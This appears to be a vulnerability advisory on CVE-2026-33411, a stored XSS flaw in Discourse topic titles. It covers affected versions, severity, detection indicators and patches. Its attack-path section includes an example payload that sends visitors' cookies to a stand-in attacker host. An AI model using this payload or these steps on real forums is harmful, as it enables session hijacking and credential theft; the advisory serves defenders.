CVE-2026-33411: 
NixOS vulnerability analysis and mitigation

CVE-2026-33411 is a stored Cross-Site Scripting (XSS) vulnerability in Discourse, an open-source discussion platform, affecting topic titles within the solved posts stream. Versions prior to 2026.3.0-latest.1, 2026.2.1, and 2026.1.2 are affected, specifically the 2026.1.x branch (before 2026.1.2) and 2026.2.x branch (before 2026.2.1). The vulnerability was published on March 20, 2026, with patches released shortly after. It carries a CVSS v3.1 base score of 5.4 (Medium) (GitHub Advisory, Red Hat CVE).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), specifically a stored XSS variant. Insufficient sanitization of user-supplied input in topic titles allows an authenticated attacker with low privileges to inject malicious scripts that are persisted server-side and rendered in the solved posts stream. When other users browse the affected stream, the stored payload executes in their browsers without requiring any additional interaction beyond viewing the page. No public technical write-up or proof-of-concept code has been identified at this time (GitHub Advisory).

Successful exploitation allows an authenticated low-privileged attacker to execute arbitrary JavaScript in the browsers of other Discourse users who view the affected solved posts stream. This can result in session hijacking, credential theft, manipulation of discussion content, or redirection to malicious sites. The scope is limited to confidentiality and integrity impacts (both rated Low), with no availability impact; however, the changed scope means the attack can affect users beyond the attacker's own session (GitHub Advisory, Red Hat CVE).

There is no evidence of public proof-of-concept exploit code or active in-the-wild exploitation at this time. The EPSS score is approximately 0.029%, indicating a very low probability of exploitation in the near term. No threat actor attribution has been reported, and the vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog (GitHub Advisory).

1. Reconnaissance: Identify a Discourse instance running a vulnerable version (2026.1.x before 2026.1.2, or 2026.2.x before 2026.2.1, or 2026.3.0-latest before 2026.3.0-latest.1) with the Discourse Solved plugin active and the solved posts stream accessible.
2. Authentication: Log in to the Discourse forum with any low-privileged user account (standard user-level access is sufficient).
3. Craft malicious topic title: Create or edit a topic with a title containing a stored XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script> or an equivalent HTML-encoded variant that bypasses any client-side filtering).
4. Mark topic as solved: Ensure the topic is marked as solved so it appears in the solved posts stream, causing the malicious title to be rendered in that context.
5. Trigger execution: When other authenticated users browse the solved posts stream, the injected script executes in their browsers, enabling session token theft, credential harvesting, or further malicious actions (GitHub Advisory).

• Logs: Discourse application logs showing topic title updates containing HTML tags or JavaScript syntax (e.g., <script>, onerror=, javascript:) from low-privileged user accounts.
• Network: Outbound HTTP requests from user browsers to unexpected external domains shortly after viewing the solved posts stream, potentially carrying cookie or session data in query parameters.
• Application: Unusual topic titles in the solved posts stream containing encoded or obfuscated HTML/JavaScript entities; unexpected modifications to topic titles by non-admin users.
• Browser: Client-side JavaScript errors or unexpected redirects reported by users when browsing the solved posts stream.

Discourse has released patched versions addressing this vulnerability: 2026.1.2 (for the 2026.1.x branch), 2026.2.1 (for the 2026.2.x branch), and 2026.3.0-latest.1 (for the latest branch). Administrators should upgrade to the appropriate patched version immediately. As a temporary workaround for those unable to patch immediately, ensure that the Content Security Policy (CSP) is enabled and has not been weakened — specifically, avoid permitting unsafe inline scripts or other directives that reduce XSS protections (GitHub Advisory).